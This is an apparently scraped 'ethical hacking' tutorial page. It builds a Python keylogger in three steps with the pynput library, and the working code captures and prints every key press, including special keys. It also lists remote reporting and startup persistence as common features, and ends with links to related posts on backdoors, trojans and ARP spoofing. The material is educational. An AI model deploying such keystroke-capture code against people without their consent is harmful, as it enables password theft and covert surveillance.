A program that records keys pressed on the keyboard.

Common features:

Store logs locally(local keyloggers).

  • Report logs to an email or remote server(remote keyloggers).
  • Log screenshots.
  • Start with system startup.

Third-Party Module: pynput

pip install pynput

The simple Python Keylogger code:

#!/usr/bin/env python
import pynput.keyboard def process_key_press(key):
print(key) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
keyboard_listener.join()

Using global variables to log all the key log.

#!/usr/bin/env python
import pynput.keyboard log = ""
def process_key_press(key):
global log
log = log + str(key)
print(log) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
keyboard_listener.join()

Logging special Keys with polishing the Python code.

#!/usr/bin/env python
import pynput.keyboard log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " " + str(key) + " "
print(log) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
keyboard_listener.join()

Python Ethical Hacking - KEYLOGGER(1)的更多相关文章

  1. Python Ethical Hacking - KEYLOGGER(3)

    Object-Oriented Programming Keylogger Classes Way of modeling program(blueprint). Logically group fu ...

  2. Python Ethical Hacking - KEYLOGGER(2)

    Report function: Run in the background. Don't interrupt program execution. Every X seconds, send the ...

  3. Python Ethical Hacking - TROJANS Analysis(1)

    TROJANS A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc). When e ...

  4. Python Ethical Hacking - Malware Packaging(2)

    PACKAGING FOR WINDOWS FROM LINUX For best results package the program from the same OS as the target ...

  5. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  6. Python Ethical Hacking - BACKDOORS(1)

    REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ...

  7. Python Ethical Hacking - Malware Analysis(1)

    WRITING MALWARE Download file. Execute Code. Send Report. Download & Execute. Execute & Repo ...

  8. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  9. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

随机推荐

  1. 小师妹学JVM之:JDK14中JVM的性能优化

    目录 简介 String压缩 分层编译(Tiered Compilation) Code Cache分层 新的JIT编译器Graal 前置编译 压缩对象指针 Zero-Based 压缩指针 Escap ...

  2. C# 加密、解密PDF文档(基于Spire.Cloud.SDK for .NET)

    Spire.Cloud.SDK for .NET提供了接口PdfSecurityApi可用于加密.解密PDF文档.本文将通过C#代码演示具体加密及解密方法. 使用工具: Spire.Cloud.SDK ...

  3. 动态调试 别人写的jar包

    在别人的jar应用程序里: 在VMoption选项中添加: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=50064 或者 ...

  4. 【asp.net core 系列】13 Identity 身份验证入门

    0. 前言 通过前两篇我们实现了如何在Service层如何访问数据,以及如何运用简单的加密算法对数据加密.这一篇我们将探索如何实现asp.net core的身份验证. 1. 身份验证 asp.net ...

  5. JavaWeb网上图书商城完整项目--26.注册页面之验证码换一张实现

    我们现在要实现点击换一张的时候实现验证码的修改 我们首先在html添加函数点击事件: <%@ page language="java" contentType="t ...

  6. 手写spring事务框架-蚂蚁课堂

    1.视频参加C:\Users\Administrator\Desktop\蚂蚁3期\[www.zxit8.com] 0017-(每特教育&每特学院&蚂蚁课堂)-3期-源码分析-手写Sp ...

  7. spring框架中JDK和CGLIB动态代理区别

    转载:https://blog.csdn.net/yhl_jxy/article/details/80635012 前言JDK动态代理实现原理(jdk8):https://blog.csdn.net/ ...

  8. Windows Server 2019 container容器化-Docker安装

    一.启用服务器Hyper-V,Containers特性 Install-WindowsFeature -Name Hyper-V,Containers -IncludeAllSubFeature -I ...

  9. VSCode 使用 Settings Sync 同步配置和插件

    简要说明: Settings Sync插件可以在不同的计算机同步VSCode配置和插件. 安装和配置 在VSCode的插件栏搜索settings sync并安装.在安装完成之后如果需要重新载入就点击重 ...

  10. 扯淡 Spring BeanDefinition

    相关文章 Spring 整体架构 编译Spring5.2.0源码 Spring-资源加载 Spring 容器的初始化 Spring-AliasRegistry Spring 获取单例流程(一) Spr ...